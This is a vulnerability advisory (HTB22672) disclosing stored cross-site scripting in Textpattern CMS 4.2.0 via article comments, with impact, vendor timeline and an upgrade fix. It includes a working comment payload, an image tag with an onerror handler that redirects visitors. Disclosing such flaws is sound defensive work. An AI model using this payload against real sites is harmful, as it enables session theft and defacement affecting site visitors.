Textpattern CMS 4.2.0 Cross Site Scripting

`Vulnerability ID: HTB22672  
Reference: http://www.htbridge.ch/advisory/xss_in_textpattern_cms.html  
Product: Textpattern CMS   
Vendor: Team Textpattern ( http://textpattern.com/ )   
Vulnerable Version: 4.2.0  
Vendor Notification: 21 October 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application when comments to articles allowed.  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability.  
Just add comment to any article:  
  
Nice site. !http://123"onerror="javascript:document.location.href='http://htbridge.ch';"!   
Solution: Upgrade to the most recent version  
`